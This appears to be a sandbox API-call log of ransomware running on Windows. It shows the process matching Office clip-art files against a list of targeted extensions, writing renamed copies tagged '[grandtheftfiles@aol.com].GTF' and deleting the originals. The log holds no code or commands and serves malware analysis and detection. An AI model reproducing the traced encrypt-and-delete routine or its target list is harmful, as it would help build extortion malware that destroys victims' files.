	[0179.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.304] lstrlenW (lpString=".zip") returned 4
	[0179.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.304] lstrlenW (lpString=".rar") returned 4
	[0179.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString=".bz2") returned 4
	[0179.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString=".7z") returned 3
	[0179.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.304] lstrlenW (lpString=".dbf") returned 4
	[0179.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.304] lstrlenW (lpString=".1cd") returned 4
	[0179.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.304] lstrlenW (lpString=".jpg") returned 4
	[0179.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.305] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.305] lstrlenW (lpString="J0157831.WMF") returned 12
	[0179.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.307] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=11396) returned 1
	[0179.307] CloseHandle (hObject=0x548) returned 1
	[0179.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220
	[0179.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.308] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.308] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0179.308] GetLastError () returned 0x0
	[0179.308] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2c84, lpOverlapped=0x0) returned 1
	[0179.312] WriteFile (in: hFile=0x374, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0179.313] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.313] WriteFile (in: hFile=0x374, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.313] SetEndOfFile (hFile=0x374) returned 1
	[0179.313] CloseHandle (hObject=0x374) returned 1
	[0179.313] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.313] SetEndOfFile (hFile=0x548) returned 1
	[0179.316] CloseHandle (hObject=0x548) returned 1
	[0179.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1
	[0179.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.317] lstrlenW (lpString=".doc") returned 4
	[0179.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.317] lstrlenW (lpString=".docx") returned 5
	[0179.317] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.317] lstrlenW (lpString=".pdf") returned 4
	[0179.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.317] lstrlenW (lpString=".xls") returned 4
	[0179.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.317] lstrlenW (lpString=".xlsx") returned 5
	[0179.317] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.317] lstrlenW (lpString=".ppt") returned 4
	[0179.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".zip") returned 4
	[0179.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.318] lstrlenW (lpString=".rar") returned 4
	[0179.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString=".bz2") returned 4
	[0179.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString=".7z") returned 3
	[0179.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".dbf") returned 4
	[0179.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".1cd") returned 4
	[0179.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".jpg") returned 4
	[0179.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".doc") returned 4
	[0179.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString=".docx") returned 5
	[0179.318] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.318] lstrlenW (lpString=".pdf") returned 4
	[0179.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString=".xls") returned 4
	[0179.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.318] lstrlenW (lpString=".xlsx") returned 5
	[0179.318] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.318] lstrlenW (lpString=".ppt") returned 4
	[0179.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.318] lstrlenW (lpString=".zip") returned 4
	[0179.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.319] lstrlenW (lpString=".rar") returned 4
	[0179.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.319] lstrlenW (lpString=".bz2") returned 4
	[0179.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.319] lstrlenW (lpString=".7z") returned 3
	[0179.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.319] lstrlenW (lpString=".dbf") returned 4
	[0179.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.319] lstrlenW (lpString=".1cd") returned 4
	[0179.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0179.319] lstrlenW (lpString=".jpg") returned 4
	[0179.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.319] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.319] lstrlenW (lpString="J0158071.WMF") returned 12
	[0179.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.320] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=18652) returned 1
	[0179.320] CloseHandle (hObject=0x548) returned 1
	[0179.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 0x220
	[0179.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.320] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.320] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0179.321] GetLastError () returned 0x0
	[0179.321] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x48dc, lpOverlapped=0x0) returned 1
	[0179.329] WriteFile (in: hFile=0x374, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x48e0, lpOverlapped=0x0) returned 1
	[0179.330] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.330] WriteFile (in: hFile=0x374, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.330] SetEndOfFile (hFile=0x374) returned 1
	[0179.330] CloseHandle (hObject=0x374) returned 1
	[0179.330] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.330] SetEndOfFile (hFile=0x548) returned 1
	[0179.333] CloseHandle (hObject=0x548) returned 1
	[0179.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 1
	[0179.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.334] lstrlenW (lpString=".doc") returned 4
	[0179.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.334] lstrlenW (lpString=".docx") returned 5
	[0179.334] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.334] lstrlenW (lpString=".pdf") returned 4
	[0179.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.334] lstrlenW (lpString=".xls") returned 4
	[0179.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.334] lstrlenW (lpString=".xlsx") returned 5
	[0179.334] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.334] lstrlenW (lpString=".ppt") returned 4
	[0179.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.334] lstrlenW (lpString=".zip") returned 4
	[0179.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.334] lstrlenW (lpString=".rar") returned 4
	[0179.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.334] lstrlenW (lpString=".bz2") returned 4
	[0179.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.334] lstrlenW (lpString=".7z") returned 3
	[0179.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.334] lstrlenW (lpString=".dbf") returned 4
	[0179.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".1cd") returned 4
	[0179.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".jpg") returned 4
	[0179.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".doc") returned 4
	[0179.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString=".docx") returned 5
	[0179.335] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.335] lstrlenW (lpString=".pdf") returned 4
	[0179.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString=".xls") returned 4
	[0179.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.335] lstrlenW (lpString=".xlsx") returned 5
	[0179.335] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.335] lstrlenW (lpString=".ppt") returned 4
	[0179.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".zip") returned 4
	[0179.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.335] lstrlenW (lpString=".rar") returned 4
	[0179.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString=".bz2") returned 4
	[0179.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString=".7z") returned 3
	[0179.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".dbf") returned 4
	[0179.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.335] lstrlenW (lpString=".1cd") returned 4
	[0179.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68
	[0179.336] lstrlenW (lpString=".jpg") returned 4
	[0179.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.336] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.336] lstrlenW (lpString="J0158477.WMF") returned 12
	[0179.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0179.339] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=17966) returned 1
	[0179.339] CloseHandle (hObject=0x56c) returned 1
	[0179.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 0x220
	[0179.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0179.339] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.339] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0179.598] GetLastError () returned 0x0
	[0179.598] ReadFile (in: hFile=0x56c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x462e, lpOverlapped=0x0) returned 1
	[0179.664] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4630, lpOverlapped=0x0) returned 1
	[0179.665] ReadFile (in: hFile=0x56c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.665] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.665] SetEndOfFile (hFile=0x564) returned 1
	[0179.665] CloseHandle (hObject=0x564) returned 1
	[0179.665] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.666] SetEndOfFile (hFile=0x56c) returned 1
	[0179.668] CloseHandle (hObject=0x56c) returned 1
	[0179.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 1
	[0179.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.669] lstrlenW (lpString=".doc") returned 4
	[0179.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.669] lstrlenW (lpString=".docx") returned 5
	[0179.669] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.669] lstrlenW (lpString=".pdf") returned 4
	[0179.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.669] lstrlenW (lpString=".xls") returned 4
	[0179.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.670] lstrlenW (lpString=".xlsx") returned 5
	[0179.670] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.670] lstrlenW (lpString=".ppt") returned 4
	[0179.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString=".zip") returned 4
	[0179.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.670] lstrlenW (lpString=".rar") returned 4
	[0179.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString=".bz2") returned 4
	[0179.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString=".7z") returned 3
	[0179.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString=".dbf") returned 4
	[0179.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString=".1cd") returned 4
	[0179.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString=".jpg") returned 4
	[0179.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.670] lstrlenW (lpString=".doc") returned 4
	[0179.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString=".docx") returned 5
	[0179.670] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.670] lstrlenW (lpString=".pdf") returned 4
	[0179.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.670] lstrlenW (lpString=".xls") returned 4
	[0179.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.670] lstrlenW (lpString=".xlsx") returned 5
	[0179.670] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.670] lstrlenW (lpString=".ppt") returned 4
	[0179.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
